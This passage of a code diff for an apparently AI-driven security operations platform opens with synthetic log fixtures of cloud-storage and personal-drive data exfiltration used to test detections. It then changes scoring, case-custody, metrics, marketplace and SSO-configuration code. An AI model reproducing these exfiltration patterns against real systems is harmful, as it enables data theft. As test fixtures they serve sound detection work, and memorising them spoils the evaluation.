240}-{"incident_id": "INC-EVAL-199", "template_id": "s3-exfil-cloud-storage", "event_index": 0, "source": "cloudtrail", "eventName": "PutObject", "eventSource": "s3.amazonaws.com", "awsRegion": "us-east-1", "userIdentity": {"type": "IAMUser", "userName": "[email protected]"}, "sourceIPAddress": "K8S-PROD-CLUSTER", "requestParameters": {"bucketName": "atk-stage-45.142.122.111", "key": "dump/customers.tar.gz"}, "resources": [{"ARN": "arn:aws:s3:::atk-stage-45.142.122.111/dump/customers.tar.gz"}]}+{"incident_id": "INC-EVAL-199", "template_id": "s3-exfil-cloud-storage", "event_index": 0, "source": "cloudtrail", "eventName": "PutObject", "eventSource": "s3.amazonaws.com", "awsRegion": "us-east-1", "userIdentity": {"type": "IAMUser", "userName": "[email protected]"}, "sourceIPAddress": "K8S-PROD-CLUSTER", "requestParameters": {"bucketName": "atk-stage-203.0.113.111", "key": "dump/customers.tar.gz"}, "resources": [{"ARN": "arn:aws:s3:::atk-stage-203.0.113.111/dump/customers.tar.gz"}]}{"incident_id": "INC-EVAL-200", "template_id": "personal-drive-exfil", "event_index": 0, "source": "web_access", "http_method": "POST", "url": "https://www.googleapis.com/upload/drive/v3/files", "status_code": 200, "src_host": "LIN-K8S-NODE01", "src_user": "[email protected]", "bytes_out": 4300000000, "file_count": 812}diff --git a/services/api/app/_vendor/aisoc_benchmark/replay.py b/services/api/app/_vendor/aisoc_benchmark/replay.pyindex 2bd97c9f1..d5b790edc 100644--- a/services/api/app/_vendor/aisoc_benchmark/replay.py+++ b/services/api/app/_vendor/aisoc_benchmark/replay.py@@ -178,6 +178,16 @@ class ReplayScore:malicious_recall: float | None = Nonemalicious_recall_ci: tuple[float, float] | None = Nonemalicious_precision: float | None = None+ #: Malicious cases the agent did not call malicious, as a count and a+ #: rate. Derivable from the confusion matrix and from `1 - recall`,+ #: and published as its own field anyway: a false negative is a+ #: missed attack, and a reader should not have to compute the number+ #: that matters most from the one that reads best.+ false_negatives: int = 0+ false_negative_rate: float | None = None+ #: What the agent said instead, counted. "It abstained on 40" and+ #: "it called 40 benign" are different failures with different fixes.+ false_negative_verdicts: dict[str, int] = field(default_factory=dict)# ---- headline, withheld on a thin corpus -----------------------------headline_accuracy: float | None = None@@ -437,6 +447,18 @@ def score_replay(seed=bootstrap_seed,)+ # False negatives, named. Every one is an attack the agent let+ # through, which is the outcome an operator is actually buying+ # against, and `1 - recall` is a worse way to say it.+ missed = [d for d in malicious_rows if d.get("verdict") != MALICIOUS]+ score.false_negatives = len(missed)+ score.false_negative_rate = _ratio(len(missed), len(malicious_rows))+ verdicts: dict[str, int] = {}+ for d in missed:+ key = str(d.get("verdict") or "") or "(empty)"+ verdicts[key] = verdicts.get(key, 0) + 1+ score.false_negative_verdicts = dict(sorted(verdicts.items()))+# ---- calibration ------------------------------------------------------score.calibration, score.expected_calibration_error = _calibration(answered)diff --git a/services/api/app/api/v1/endpoints/cases.py b/services/api/app/api/v1/endpoints/cases.pyindex 8e9d21727..2fad39e4c 100644--- a/services/api/app/api/v1/endpoints/cases.py+++ b/services/api/app/api/v1/endpoints/cases.py@@ -33,6 +33,7 @@ Endpointsfrom __future__ import annotations+import jsonimport loggingimport osimport re@@ -49,6 +50,7 @@ from sqlalchemy import textfrom app.api.v1.deps import AuthUser, DBSession, require_permissionfrom app.core.logging import safe_log_value+from app.services import case_status, evidence_custodyfrom app.services.case_fanout import (FanoutResult,fanout_create_case,@@ -95,14 +97,11 @@ CaseStatus = Literal["new", "triaged", "investigating", "contained", "resolved",CaseSeverity = Literal["info", "low", "medium", "high", "critical"]# Valid forward-only state transitions-_TRANSITIONS: dict[str, set[str]] = {- "new": {"triaged"},- "triaged": {"investigating"},- "investigating": {"contained", "resolved"},- "contained": {"resolved"},- "resolved": {"closed"},- "closed": set(),-}+# One copy, in `case_status`. This used to be declared here and the+# metrics layer filtered on `"open"` and `"in_progress"` — states this+# machine cannot produce — so two surfaces disagreed about what a case+# status even is.+_TRANSITIONS: dict[str, set[str]] = case_status.TRANSITIONSclass CreateCaseRequest(BaseModel):@@ -591,6 +590,16 @@ async def update_case(row = (await db.execute(q)).fetchone()if row is None:raise HTTPException(status_code=404, detail="Case not found.")+ if body.status is not None:+ await _append_custody(+ db,+ case_id=cid,+ tenant_id=user.tenant_id,+ user=user,+ action="case_closed" if body.status == "closed" else "status_changed",+ item=body.status,+ detail={"to": body.status},+ )await db.commit()except Exception as exc:await db.rollback()@@ -641,6 +650,63 @@ async def update_case(return response+# ─────────────────────────────────────────────────────────────────────────────+# Evidence custody+#+# `evidence_chain` had three readers and no writer, so the report an auditor+# exports from `GET /cases/{id}/evidence` was always `[]` under a heading+# saying "Evidence Chain" — which reads as "no evidence was handled" rather+# than "this product does not record custody".+#+# Appended in the same statement that performs the mutation being recorded,+# so a custody entry cannot exist for a change that did not commit, and a+# change cannot commit without its entry.+# ─────────────────────────────────────────────────────────────────────────────+++async def _append_custody(+ db: Any,+ *,+ case_id: Any,+ tenant_id: Any,+ user: AuthUser,+ action: str,+ item: str | None = None,+ detail: dict[str, Any] | None = None,+) -> None:+ """Append one custody entry to this case's chain.++ Reads the current chain to link the hash, then writes the extended+ chain back. Best-effort by design: a custody write that failed must+ not roll back the case change an analyst just made, because losing+ the work is worse than losing one audit line. The failure is logged+ at `warning` so it is visible rather than silent.+ """+ try:+ current = await db.scalar(+ text("SELECT evidence_chain FROM aisoc_cases WHERE id = :id AND tenant_id = :t").bindparams(id=case_id, t=tenant_id)+ )+ chain = evidence_custody.append_entry(+ list(current or []),+ action=action,+ actor_id=getattr(user, "user_id", None),+ actor_email=getattr(user, "email", None),+ item=item,+ detail=detail,+ )+ await db.execute(+ text("UPDATE aisoc_cases SET evidence_chain = CAST(:c AS jsonb) WHERE id = :id AND tenant_id = :t").bindparams(+ c=json.dumps(chain), id=case_id, t=tenant_id+ )+ )+ except Exception as exc: # noqa: BLE001 - never fail the caller's mutation+ logger.warning(+ "cases.custody_append_failed action=%s error=%s",+ str(action).replace("\r", "").replace("\n", " ")[:80],+ str(exc).replace("\r", "").replace("\n", " ")[:200],+ )++@router.post("/{case_id}/alerts", response_model=CaseResponse, summary="Link alerts to a case")async def add_alerts(case_id: str, body: AddAlertsRequest, db: DBSession, user: Annotated[AuthUser, Depends(require_permission("cases:write"))]@@ -658,8 +724,20 @@ async def add_alerts(row = (await db.execute(q)).fetchone()if not row:raise HTTPException(status_code=404, detail="Case not found.")+ await _append_custody(+ db,+ case_id=cid,+ tenant_id=user.tenant_id,+ user=user,+ action="alert_linked",+ item=",".join(ids_str[:20]),+ detail={"count": len(ids_str)},+ )await db.commit()- return _row_to_case(row)+ refreshed = (+ await db.execute(text("SELECT * FROM aisoc_cases WHERE id = :id AND tenant_id = :t").bindparams(id=cid, t=user.tenant_id))+ ).fetchone()+ return _row_to_case(refreshed or row)except HTTPException:raiseexcept Exception as exc:diff --git a/services/api/app/api/v1/endpoints/detection_proposals.py b/services/api/app/api/v1/endpoints/detection_proposals.pyindex 44ccf7b31..f4af7551c 100644--- a/services/api/app/api/v1/endpoints/detection_proposals.py+++ b/services/api/app/api/v1/endpoints/detection_proposals.py@@ -120,6 +120,8 @@ _EVAL_SCRIPT = _REPO_ROOT / "scripts" / "run_evals.py"class ProposalResponse(BaseModel):+ positive_fixtures: list[dict[str, Any]] = Field(default_factory=list)+ negative_fixtures: list[dict[str, Any]] = Field(default_factory=list)id: uuid.UUIDtenant_id: uuid.UUID | Nonebase_rule_id: uuid.UUID | None@@ -161,6 +163,11 @@ class CreateProposalRequest(BaseModel):mitre_techniques: list[str] = Field(default_factory=list)tags: list[str] = Field(default_factory=list)base_rule_id: uuid.UUID | None = None+ #: What this rule claims to catch, and what it claims to ignore.+ #: Carried on the proposal so `/evaluate-rule` has something to replay+ #: without an operator re-deriving fixtures the drafter already had.+ positive_fixtures: list[dict[str, Any]] = Field(default_factory=list, max_length=200)+ negative_fixtures: list[dict[str, Any]] = Field(default_factory=list, max_length=200)class ReviewCommentRequest(BaseModel):@@ -199,10 +206,14 @@ class EvaluateRuleRequest(BaseModel):"""positive_fixtures: list[dict[str, Any]] = Field(- ...,- min_length=1,+ default_factory=list,max_length=200,- description="Events the rule MUST fire on (the attacks it claims to catch). At least one required.",+ description=(+ "Events the rule MUST fire on. Optional: when omitted, the fixtures the "+ "proposal was created with are replayed instead. The handler refuses if "+ "neither source yields a positive, because a rule that cannot be shown to "+ "catch anything must not be approved."+ ),)negative_fixtures: list[dict[str, Any]] = Field(default_factory=list,@@ -410,6 +421,8 @@ async def create_proposal(tags=request.tags,status="proposed",proposed_by_id=current_user.user_id,+ positive_fixtures=request.positive_fixtures,+ negative_fixtures=request.negative_fixtures,)db.add(proposal)await db.commit()@@ -712,13 +725,34 @@ async def evaluate_rule(detail=f"Proposal is {proposal.status}; candidate-rule eval cannot be re-run",)+ # Fall back to the fixtures the proposal was created with. Requiring+ # them in the body meant an operator had to re-derive the very fixtures+ # the drafter produced and threw away, which is why this gate had no+ # console caller and no realistic path to being run.+ positives = request.positive_fixtures or list(proposal.positive_fixtures or [])+ negatives = request.negative_fixtures or list(proposal.negative_fixtures or [])+ if not positives:+ raise HTTPException(+ status_code=status.HTTP_422_UNPROCESSABLE_ENTITY,+ detail=(+ "This proposal carries no positive fixtures and none were supplied, so there is "+ "nothing to prove the rule fires on. A rule that cannot be shown to catch "+ "anything must not be approved."+ ),+ )+result = evaluate_candidate_rule(rule_language=proposal.rule_language,rule_body=proposal.rule_body,- positive_fixtures=request.positive_fixtures,- negative_fixtures=request.negative_fixtures,+ positive_fixtures=positives,+ negative_fixtures=negatives,)+ # Keep what was actually evaluated, so a later reader can see the proof+ # rather than only the verdict.+ proposal.positive_fixtures = positives+ proposal.negative_fixtures = negatives+# Merge into eval_result so the benchmark verdict (if already attached) is# preserved alongside the candidate-rule verdict.merged = dict(proposal.eval_result or {})diff --git a/services/api/app/api/v1/endpoints/feedback.py b/services/api/app/api/v1/endpoints/feedback.pyindex 7dff048a2..02ce5fe62 100644--- a/services/api/app/api/v1/endpoints/feedback.py+++ b/services/api/app/api/v1/endpoints/feedback.py@@ -67,6 +67,7 @@ from app.api.v1.endpoints.alert_writeback import optional_user, service_token_vafrom app.db.rls import set_rls_contextfrom app.models.alert import Alertfrom app.security.tenant_scope import scoped_tenant_or_403+from app.services import sla_eventsfrom app.services.analyst_feedback import (REASON_CODES,active_statements,@@ -235,6 +236,19 @@ async def submit_alert_override(.where(Alert.id == alert_uuid, Alert.tenant_id == user.tenant_id).values(disposition=payload.corrected_verdict, updated_at=now))+ # A disposition is the analyst declaring the alert resolved, which is+ # the `resolved` half of every SLA figure. `alert_sla_events` had one+ # writer — a manual POST nothing calls — so `services/sla.py` computed+ # MTTD, MTTR and MTTC over an empty table on every deployment.+ await sla_events.record_event(+ db,+ alert_id=alert_uuid,+ tenant_id=user.tenant_id,+ event_type="resolved",+ actor_id=user.user_id,+ occurred_at=now,+ metadata={"disposition": payload.corrected_verdict},+ )await db.commit()# A human reached this verdict on this evidence, so record adiff --git a/services/api/app/api/v1/endpoints/insights.py b/services/api/app/api/v1/endpoints/insights.pyindex e0450e3b0..b5a1e2ef9 100644--- a/services/api/app/api/v1/endpoints/insights.py+++ b/services/api/app/api/v1/endpoints/insights.py@@ -59,6 +59,7 @@ from sqlalchemy.exc import SQLAlchemyErrorfrom app.api.v1.deps import AuthUser, DBSessionfrom app.models.alert import Alertfrom app.models.case import Case+from app.services import case_statuslogger = logging.getLogger(__name__)@@ -108,7 +109,18 @@ class InsightTile(BaseModel):key: str = Field(description="Stable identifier — used as a React key.")label: str = Field(description="Human-readable tile heading.")- value: float = Field(description="Headline metric for the current window.")+ value: float = Field(+ description=(+ "Headline metric for the current window. Read it with `sample_count`: a mean "+ "over zero rows is reported as 0.0 and is *not* a measurement. The mean is not "+ "nullable because that is a breaking response change for every existing client, "+ "which is the same decision `/metrics/soc` took with `mttd_sample_count`."+ ),+ )+ sample_count: int | None = Field(+ default=None,+ description="Rows behind `value`. A mean over three and over three thousand differ.",+ )unit: str = Field(description=("Display unit. The UI picks formatting per unit "@@ -159,9 +171,15 @@ def _window_to_timedelta(window: str) -> timedelta:return timedelta(days=_VALID_WINDOWS[window])-def _delta_pct(current: float, previous: float) -> float | None:- """Percent change. ``None`` when previous is zero (undefined)."""- if previous == 0:+def _delta_pct(current: float | None, previous: float | None) -> float | None:+ """Percent change, or ``None`` when there is no honest one to give.++ Three cases return `None` rather than a number: an undefined division+ by a zero baseline, and either side being unmeasured. That last one is+ the important addition — treating an unmeasured window as zero turns+ "we did not measure this before" into a 100% improvement.+ """+ if current is None or previous is None or previous == 0:return Nonereturn round(((current - previous) / previous) * 100.0, 2)@@ -175,8 +193,18 @@ async def _mean_hours(start_col,end_col,extra_filters=(),-) -> float:- """Mean hours between two alert timestamp columns over [start, end)."""+) -> tuple[float, int]:+ """Mean hours between two alert timestamp columns, with its denominator.++ Returns `(mean, count)`. The count is the point: this used to return+ the mean alone through `round(float(result or 0.0), 2)`, so an empty+ average was indistinguishable from a real zero — and for MTTA that was+ every deployment, because `alerts.first_seen_at` had no writer at all.+ A bare zero there reads as instant acknowledgement.++ The count travels with the mean because a mean over three alerts and a+ mean over three thousand are the same number and different facts.+ """filters = [Alert.tenant_id == tenant_id,Alert.created_at >= start,@@ -185,8 +213,19 @@ async def _mean_hours(end_col.isnot(None),]filters.extend(extra_filters)- result = await db.scalar(select(func.avg(func.extract("epoch", end_col - start_col) / 3600)).where(and_(*filters)))- return round(float(result or 0.0), 2)+ row = (+ await db.execute(+ select(+ func.avg(func.extract("epoch", end_col - start_col) / 3600),+ func.count(),+ ).where(and_(*filters))+ )+ ).first()+ if row is None or row[1] == 0 or row[0] is None:+ # 0.0 with a count of 0. The pair is the measurement: the count is+ # what distinguishes "responded instantly" from "nobody responded".+ return 0.0, 0+ return round(float(row[0]), 2), int(row[1])async def _count(db, model, tenant_id: uuid.UUID, start: datetime, end: datetime, *extra) -> int:@@ -412,7 +451,7 @@ async def get_soc_insights(window_days = max(_VALID_WINDOWS[window], 1)# ── Window-current values ─────────────────────────────────────────────- mtta_hours = await _mean_hours(+ mtta_hours, mtta_n = await _mean_hours(db,tenant_id,start,@@ -420,7 +459,7 @@ async def get_soc_insights(start_col=Alert.created_at,end_col=Alert.first_seen_at,)- mttr_hours = await _mean_hours(+ mttr_hours, mttr_n = await _mean_hours(db,tenant_id,start,@@ -438,11 +477,13 @@ async def get_soc_insights(tenant_id,start,now,- Case.status == "resolved",+ # `closed`, not `resolved`. A resolved case is still on a queue;+ # only `closed` writes `closed_at` and means the work finished.+ Case.status.in_(case_status.CLOSED_STATUSES),)# ── Previous-window comparisons for delta ─────────────────────────────- prev_mtta = await _mean_hours(+ prev_mtta, _prev_mtta_n = await _mean_hours(db,tenant_id,prev_start,@@ -450,7 +491,7 @@ async def get_soc_insights(start_col=Alert.created_at,end_col=Alert.first_seen_at,)- prev_mttr = await _mean_hours(+ prev_mttr, _prev_mttr_n = await _mean_hours(db,tenant_id,prev_start,@@ -493,18 +534,26 @@ async def get_soc_insights(key="mtta",label="MTTA",value=mtta_hours,+ sample_count=mtta_n,unit="hours",previous_value=prev_mtta,- delta_pct=_delta_pct(mtta_hours, prev_mtta),+ delta_pct=_delta_pct(+ mtta_hours if mtta_n else None,+ prev_mtta if _prev_mtta_n else None,+ ),sparkline=InsightSparkline(points=alert_spark),),InsightTile(key="mttr",label="MTTR",value=mttr_hours,+ sample_count=mttr_n,unit="hours",previous_value=prev_mttr,- delta_pct=_delta_pct(mttr_hours, prev_mttr),+ delta_pct=_delta_pct(+ mttr_hours if mttr_n else None,+ prev_mttr if _prev_mttr_n else None,+ ),sparkline=InsightSparkline(points=alert_spark),),InsightTile(diff --git a/services/api/app/api/v1/endpoints/marketplace.py b/services/api/app/api/v1/endpoints/marketplace.pyindex 885c89c18..cf5cfe65d 100644--- a/services/api/app/api/v1/endpoints/marketplace.py+++ b/services/api/app/api/v1/endpoints/marketplace.py@@ -40,14 +40,16 @@ from __future__ import annotationsimport hashlibimport jsonimport threading-from datetime import UTC, datetimefrom pathlib import Pathfrom typing import Annotated, Any, Literalfrom fastapi import APIRouter, Depends, HTTPException, Queryfrom pydantic import BaseModel, Field+from sqlalchemy import textfrom app.api.v1.deps import AuthUser, require_permission+from app.db.rls import TenantDBSession+from app.services import marketplace_installsrouter = APIRouter(prefix="/marketplace", tags=["marketplace"])@@ -124,27 +126,6 @@ def _load_index() -> dict[str, Any]:# Keyed by (tenant_id, type, item_id) → install record. Replace with a real# table when we move installed-set tracking into Postgres.-_installed: dict[tuple[str, str, str], dict[str, Any]] = {}-_installed_lock = threading.Lock()---def _install_record(- tenant_id: str,- item: dict[str, Any],- sha256: str,- user_email: str,-) -> dict[str, Any]:- return {- "id": item["id"],- "type": item["type"],- "name": item.get("name", item["id"]),- "version": item.get("version", "1.0.0"),- "path": item.get("path"),- "content_sha256": sha256,- "installed_at": datetime.now(UTC).isoformat(),- "installed_by": user_email,- "tenant_id": tenant_id,- }def _resolve_item_path(item: dict[str, Any]) -> Path:@@ -284,6 +265,7 @@ class MarketplaceListResponse(BaseModel):@router.get("", response_model=MarketplaceListResponse)async def list_marketplace(current_user: AuthUser,+ db: TenantDBSession,type_filter: Literal["detection", "playbook", "plugin"] | None = Query(None, alias="type"),mitre: str | None = Query(None,@@ -335,8 +317,7 @@ async def list_marketplace(]tenant_id = str(current_user.tenant_id)- with _installed_lock:- installed_ids = [key[2] for key in _installed if key[0] == tenant_id]+ installed_ids = await marketplace_installs.installed_item_ids(db, tenant_id=tenant_id)return MarketplaceListResponse(total=len(items),@@ -368,6 +349,7 @@ def _summarise(i: dict[str, Any]) -> dict[str, Any]:async def install_marketplace_item(body: InstallRequest,current_user: Annotated[AuthUser, Depends(require_permission("settings:write"))],+ db: TenantDBSession,) -> InstallResponse:"""Activate a marketplace item for the caller's tenant.@@ -409,38 +391,27 @@ async def install_marketplace_item(sha = _content_sha256(match)tenant_id = str(current_user.tenant_id)- key = (tenant_id, body.type, body.id)user_email = current_user.email or str(current_user.user_id)- with _installed_lock:- existing = _installed.get(key)- if existing:- # Idempotent: re-installing returns the existing record but- # refreshes the sha (e.g. file edited since last install).- existing["content_sha256"] = sha- existing["installed_at"] = datetime.now(UTC).isoformat()- return InstallResponse(- id=existing["id"],- type=existing["type"],- name=existing["name"],- version=existing["version"],- content_sha256=existing["content_sha256"],- installed_at=existing["installed_at"],- installed_by=existing["installed_by"],- already_installed=True,- )- record = _install_record(tenant_id, match, sha, user_email)- _installed[key] = record+ installed_at, already = await marketplace_installs.record_install(+ db,+ tenant_id=tenant_id,+ item_id=body.id,+ item_type=body.type,+ version=str(match.get("version") or ""),+ content_sha256=sha,+ installed_by=current_user.user_id,+ )return InstallResponse(- id=record["id"],- type=record["type"],- name=record["name"],- version=record["version"],- content_sha256=record["content_sha256"],- installed_at=record["installed_at"],- installed_by=record["installed_by"],- already_installed=False,+ id=body.id,+ type=body.type,+ name=str(match.get("name") or body.id),+ version=str(match.get("version") or ""),+ content_sha256=sha,+ installed_at=installed_at.isoformat(),+ installed_by=user_email,+ already_installed=already,)@@ -449,13 +420,12 @@ async def uninstall_marketplace_item(type: Literal["detection", "playbook", "plugin"],id: str,current_user: Annotated[AuthUser, Depends(require_permission("settings:write"))],+ db: TenantDBSession,) -> dict[str, Any]:"""Remove a previously installed marketplace item from the tenant."""tenant_id = str(current_user.tenant_id)- key = (tenant_id, type, id)- with _installed_lock:- removed = _installed.pop(key, None)- if removed is None:+ removed = await marketplace_installs.remove_install(db, tenant_id=tenant_id, item_id=id)+ if not removed:raise HTTPException(status_code=404,detail=f"Item not installed for this tenant: {type}:{id}",@@ -466,12 +436,27 @@ async def uninstall_marketplace_item(@router.get("/installed")async def list_installed(current_user: AuthUser,+ db: TenantDBSession,) -> dict[str, Any]:"""List all marketplace items installed for the caller's tenant."""- tenant_id = str(current_user.tenant_id)- with _installed_lock:- items = [v for k, v in _installed.items() if k[0] == tenant_id]- items.sort(key=lambda r: (r["type"], r["id"]))+ rows = await db.execute(+ text("""+ SELECT item_id, item_type, version, image_digest, installed_at+ FROM marketplace_installs+ WHERE tenant_id = CAST(:t AS uuid)+ ORDER BY item_type, item_id+ """).bindparams(t=str(current_user.tenant_id))+ )+ items = [+ {+ "id": r[0],+ "type": r[1],+ "version": r[2],+ "content_sha256": r[3],+ "installed_at": r[4].isoformat() if r[4] else None,+ }+ for r in rows.all()+ ]return {"total": len(items), "items": items}diff --git a/services/api/app/api/v1/endpoints/metrics.py b/services/api/app/api/v1/endpoints/metrics.pyindex 17be7ff11..3df4d662b 100644--- a/services/api/app/api/v1/endpoints/metrics.py+++ b/services/api/app/api/v1/endpoints/metrics.py@@ -37,6 +37,7 @@ from app.models.case import Casefrom app.models.connector import Connectorfrom app.models.detection_rule import DetectionRulefrom app.models.remediation import RemediationGateLog+from app.services import case_statusfrom app.services.resolution_time import (MTTR_WINDOW,tenant_case_mttr_minutes,@@ -282,14 +283,27 @@ async def get_dashboard_metrics()# ── Case counts ───────────────────────────────────────────────────────────- open_cases_q = await db.scalar(select(func.count()).where(and_(Case.tenant_id == tenant_id, Case.status == "open")))- in_progress_q = await db.scalar(select(func.count()).where(and_(Case.tenant_id == tenant_id, Case.status == "in_progress")))+ # These filtered `"open"` and `"in_progress"`, neither of which the+ # console's state machine can produce, so both counters were+ # structurally zero rather than merely empty. The vocabulary now comes+ # from one place.+ open_cases_q = await db.scalar(+ select(func.count()).where(and_(Case.tenant_id == tenant_id, Case.status.in_(case_status.OPEN_STATUSES)))+ )+ in_progress_q = await db.scalar(+ select(func.count()).where(and_(Case.tenant_id == tenant_id, Case.status.in_(case_status.WORKING_STATUSES)))+ )+ # Closed, not resolved, and clocked off `closed_at` rather than+ # `updated_at`. `resolved` is an intermediate state — a resolved case+ # is still on a queue — and `updated_at` moves whenever anyone edits+ # the case, so the old pair counted the wrong rows at the wrong time.resolved_week_q = await db.scalar(select(func.count()).where(and_(Case.tenant_id == tenant_id,- Case.status == "resolved",- Case.updated_at >= week_start,+ Case.status.in_(case_status.CLOSED_STATUSES),+ Case.closed_at.isnot(None),+ Case.closed_at >= week_start,)))@@ -478,7 +492,14 @@ async def get_soc_metrics()mttd_q = await db.scalar(select(func.avg(func.extract("epoch", Alert.first_seen_at - Alert.created_at) / 3600)).where(mttd_filters))mttd_samples = int(await db.scalar(select(func.count()).where(mttd_filters)) or 0)- mttd_hours = float(mttd_q or 0.0)+ # `None`, not `0.0`, when nothing in the window was acknowledged. The+ # sample count below already told a careful reader the figure was empty,+ # but the value itself read as instant acknowledgement to everyone else.+ # 0.0 here is explicitly *not* a measurement: `mttd_sample_count`+ # below carries the denominator, and the console renders 'not+ # measured' when it is zero. See the comment on that field for why+ # the mean is not nullable.+ mttd_hours = float(mttd_q) if mttd_q is not None and mttd_samples else 0.0# ── MTTR ──────────────────────────────────────────────────────────────────# Mean time from case open to case close, over the shared window — the samediff --git a/services/api/app/api/v1/endpoints/sso_connections.py b/services/api/app/api/v1/endpoints/sso_connections.pynew file mode 100644index 000000000..d0a78150b--- /dev/null+++ b/services/api/app/api/v1/endpoints/sso_connections.py@@ -0,0 +1,299 @@+"""Configure which identity provider signs a tenant's users in.++Wave 0 of the gap-closure plan.++`aisoc_sso_connections` has existed since migration 080 and nothing has+ever written to it. `sso_provisioning.resolve_connection` selects from it+on every SAML and OIDC sign-in and returns `None` when there is no row,+which raises `SsoProvisioningError` and answers **403**. So both SSO+paths were complete, tested, and unreachable: a deployment could not sign+a single user in through an identity provider without someone writing an+`INSERT` by hand.++Why the tenant lives here and not in the assertion+----------------------------------------------------+This is the design decision the table was built around, and it is worth+restating at the write path because this module is where it could be+undone. An identity provider that can name its own tenant can name+somebody else's, so the tenant is a property of the *connection* an+administrator configured. The assertion only says who the person is.++The same reasoning governs group mapping: an IdP group confers a role+only because an administrator in this deployment said it should.++What this refuses+-----------------+**A mapping to `admin` or `platform_admin`.** v14.0.0 made those+unreachable from every API route so that only `bootstrap_admin` can mint+one, and a group mapping would be a way back in — register an issuer,+claim a group, hold the wildcard. The check runs against+`role_grants.authorize_role_grant` rather than a local list, because a+second list would eventually disagree with the first.++**An issuer another tenant already claims.** The unique index enforces+it, but a 409 naming the conflict is more useful than an integrity+error, and it deliberately does not say which tenant holds it.++**A connection a caller cannot reach.** Every route is tenant-scoped on+the session, so one tenant cannot read, edit or delete another's+connection even knowing its id.+"""++from __future__ import annotations++import json+import uuid+from typing import Annotated, Any++from fastapi import APIRouter, Depends, HTTPException, status+from pydantic import BaseModel, Field, field_validator+from sqlalchemy import text+from sqlalchemy.exc import IntegrityError++from app.api.v1.deps import AuthUser, require_permission+from app.core import role_grants+from app.db.rls import TenantDBSession++router = APIRouter(prefix="/sso-connections", tags=["sso"])++#: Providers the two handlers in `app/auth/` implement. A value outside+#: this set would store cleanly and never match a sign-in, which is the+#: quiet-failure shape this whole wave exists to remove.+PROVIDERS = ("oidc", "saml")+++class SsoConnectionIn(BaseModel):+ provider: str+ issuer: str = Field(min_length=1, max_length=512)+ display_name: str | None = Field(default=None, max_length=200)+ enabled: bool = False+ group_role_mapping: dict[str, str] = Field(default_factory=dict)+ default_role: str = "viewer"+ metadata_url: str | None = Field(default=None, max_length=1024)+ metadata_xml: str | None = None++ @field_validator("provider")+ @classmethod+ def _known_provider(cls, v: str) -> str:+ if v not in PROVIDERS:+ raise ValueError(f"provider must be one of {list(PROVIDERS)}")+ return v+++class SsoConnectionOut(BaseModel):+ id: str+ tenant_id: str+ provider: str+ issuer: str+ display_name: str | None+ enabled: bool+ group_role_mapping: dict[str, str]+ default_role: str+ metadata_url: str | None+ #: Whether XML was supplied, never the XML itself. A SAML metadata+ #: document is not a secret, but it is large and echoing it on every+ #: list call is noise an operator has to scroll past.+ has_metadata_xml: bool+ created_at: str | None+ updated_at: str | None+++def _row_to_out(row: Any) -> SsoConnectionOut:+ return SsoConnectionOut(+ id=str(row["id"]),+ tenant_id=str(row["tenant_id"]),+ provider=row["provider"],+ issuer=row["issuer"],+ display_name=row["display_name"],+ enabled=bool(row["enabled"]),+ group_role_mapping=dict(row["group_role_mapping"] or {}),+ default_role=row["default_role"],+ metadata_url=row["metadata_url"],+ has_metadata_xml=bool(row["metadata_xml"]),+ created_at=row["created_at"].isoformat() if row["created_at"] else None,+ updated_at=row["updated_at"].isoformat() if row["updated_at"] else None,+ )+++def _assert_roles_grantable(caller: AuthUser, body: SsoConnectionIn) -> None:+ """Refuse a mapping that would confer more than the caller holds.++ Checked against the shared `role_grants` authority rather than a+ local allow-list. A connection is a standing grant to everyone who+ can authenticate against that issuer, so it must be held to at least+ the same bar as creating one user with that role.+ """+ wanted = {body.default_role, *body.group_role_mapping.values()}+ for role in sorted(wanted):+ try:+ role_grants.authorize_role_grant(+ granter_role=getattr(caller, "role", "viewer"),+ granter_scopes=getattr(caller, "scopes", None),+ requested_role=role,+ )+ except role_grants.RoleGrantDenied as denied:+ # 422 for a role outside the vocabulary, 403 for one the caller+ # simply cannot confer. The distinction matters: the first is a+ # typo, the second is an authorization decision.+ raise HTTPException(+ status_code=(status.HTTP_422_UNPROCESSABLE_ENTITY if denied.unknown else status.HTTP_403_FORBIDDEN),+ detail=f"this connection would map users to {role!r}: {denied}",+ ) from denied++[email protected]("", response_model=list[SsoConnectionOut])+async def list_sso_connections(+ current_user: Annotated[AuthUser, Depends(require_permission("settings:read"))],+ db: TenantDBSession,+) -> list[SsoConnectionOut]:+ """Every SSO connection this tenant has configured."""+ rows = (+ (+ await db.execute(+ text("""+ SELECT id, tenant_id, provider, issuer, display_name, enabled,+ group_role_mapping, default_role, metadata_url, metadata_xml,+ created_at, updated_at+ FROM aisoc_sso_connections+ WHERE tenant_id = CAST(:t AS uuid)+ ORDER BY created_at DESC+ """).bindparams(t=str(current_user.tenant_id))+ )+ )+ .mappings()+ .all()+ )+ return [_row_to_out(r) for r in rows]++[email protected]("", response_model=SsoConnectionOut, status_code=status.HTTP_201_CREATED)+async def create_sso_connection(+ body: SsoConnectionIn,+ current_user: Annotated[AuthUser, Depends(require_permission("settings:write"))],+ db: TenantDBSession,+) -> SsoConnectionOut:+ """Configure an identity provider for this tenant.++ Until one of these exists, every SAML and OIDC sign-in answers 403 —+ `resolve_connection` finds no row and refuses rather than guessing a+ tenant from the assertion.+ """+ _assert_roles_grantable(current_user, body)++ # The conflict is detected by letting the unique index raise, not by+ # a SELECT first. Two reasons, and the tenant-predicate gate found+ # the first:+ #+ # A cross-tenant `SELECT 1 ... WHERE issuer = :i` cannot work here.+ # The session runs as the DML-only role with a bound tenant, so RLS+ # shows it only this tenant's rows — it would miss the very case it+ # exists to catch and then fail on the insert anyway, with a raw+ # integrity error instead of a 409.+ #+ # And check-then-insert is a race: two tenants registering one issuer+ # at the same moment both see nothing and both proceed.+ try:+ row = (+ (+ await db.execute(+ text("""+ INSERT INTO aisoc_sso_connections+ (tenant_id, provider, issuer, display_name, enabled,+ group_role_mapping, default_role, metadata_url, metadata_xml)+ VALUES (CAST(:t AS uuid), :p, :i, :d, :e,+ CAST(:m AS jsonb), :r, :mu, :mx)+ RETURNING id, tenant_id, provider, issuer, display_name, enabled,+ group_role_mapping, default_role, metadata_url, metadata_xml,+ created_at, updated_at+ """).bindparams(+ t=str(current_user.tenant_id),+ p=body.provider,+ i=body.issuer,+ d=body.display_name,+ e=body.enabled,+ m=json.dumps(body.group_role_mapping),+ r=body.default_role,+ mu=body.metadata_url,+ mx=body.metadata_xml,+ )+ )+ )+ .mappings()+ .first()+ )+ except IntegrityError as exc:+ await db.rollback()+ # Deliberately does not say which tenant holds it.+ raise HTTPException(+ 